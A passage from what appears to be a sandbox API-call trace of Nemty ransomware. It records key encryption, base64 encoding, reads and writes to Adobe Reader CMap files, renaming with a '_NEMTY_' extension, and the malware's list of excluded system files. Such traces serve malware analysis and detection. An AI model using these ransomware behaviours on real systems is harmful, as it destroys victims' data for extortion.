Flags=0x0, Size=0x90) returned 0x6346df8 [0212.567] Sleep (dwMilliseconds=0x5) [0212.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32583470, dwHighDateTime=0x1d561e8)) [0212.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32583470, dwHighDateTime=0x1d561e8)) [0212.580] GetLastError () returned 0x5 [0212.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.580] GetLastError () returned 0x5 [0212.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0212.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.580] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0212.581] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="kk/UiR5GGO+0zMpX3hDtC2immwkPgryeJe6W4VXwbLxLDkf8i0tK1jYNrHb2pgwd\r\nqX+L3+20U1np1XCjf4T+oYYOzGjgWfPSeS4bW8k2FX9cdRXiwIrP7UBwgSguNJfM\r\n9ITHflW6az5bIkndOjD0zuUdjZ6DC36SogYz+kokpycmeHgV6tXrfmNS9x5a0qyw\r\nqUMKa29ZH1+sRHpjo7f1wB417FzK0gQf2QeU2QcU6RdfrplJCtmWZvekWTnaj87O\r\n7m183LHb7GwnXAUBzgVyR7ZecrVzsiYnobBKnYpLBYit0IFKrbKBQyVAfkYqdC9X\r\n8A/YsIxxGCZ6tEU7K34Zdg==\r\n", pcchString=0x653e91c) returned 1 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0212.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0212.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.581] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.691] CloseHandle (hObject=0xffffffff) returned 0 [0212.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0212.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0212.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0212.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0212.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-v._nemty_kgobjgd_")) returned 0 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.691] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-V", cAlternateFileName="UNIJIS~4")) returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2=".") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="..") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="...") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="windows") returned -1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="$RECYCLE.BIN") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="rsa") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="NTDETECT.COM") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="ntldr") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="MSDOS.SYS") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="IO.SYS") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="boot.ini") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="boot.ini") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="AUTOEXEC.BAT") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="ntuser.dat") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="desktop.ini") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="CONFIG.SYS") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="RECYCLER") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="BOOTSECT.BAK") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="bootmgr") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="programdata") returned 1 [0212.692] lstrcmpiW (lpString1="UniJIS-UCS2-V", lpString2="appdata") returned 1 [0212.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0212.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0212.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0212.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-V", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-V", lpUsedDefaultChar=0x0) returned 13 [0212.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0212.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.693] Sleep (dwMilliseconds=0x5) [0212.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x326b3f70, dwHighDateTime=0x1d561e8)) [0212.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x326b3f70, dwHighDateTime=0x1d561e8)) [0212.704] GetLastError () returned 0x5 [0212.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.704] GetLastError () returned 0x5 [0212.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.704] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.704] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.704] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0212.704] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="HnXiNzT696WdZkv/t/4xtr703UAOYut4saChN5rEXVsrAmC/6eciScM6Rh2fT2H6\r\niVepW18Cx3x83zRfG2QcsoJeEL8dTu9LWtK1AB4CnVAfbeldi//BMN2xOwVO9UpZ\r\n0mZ0yasrdGRGnBPXHqwCN8j/i7IZ+2pi/wzzw/DsKHWlywPcqFH+8/JSPUAzK9/Q\r\nLhcIp90hQOD38IzUu7axql7KVIvGJxHXJLDgEz/CLZPtV/6N0e5GawJcUrnqMKKu\r\nIQlZby9ma7iQBxxUO7cryoCyQqz5aVrMz3FyxjjKitkbj72UTvXV3B8RGcNudBiq\r\nE73FTWWY9KurWmF4Mj2rYA==\r\n", pcchString=0x653e91c) returned 1 [0212.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0212.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 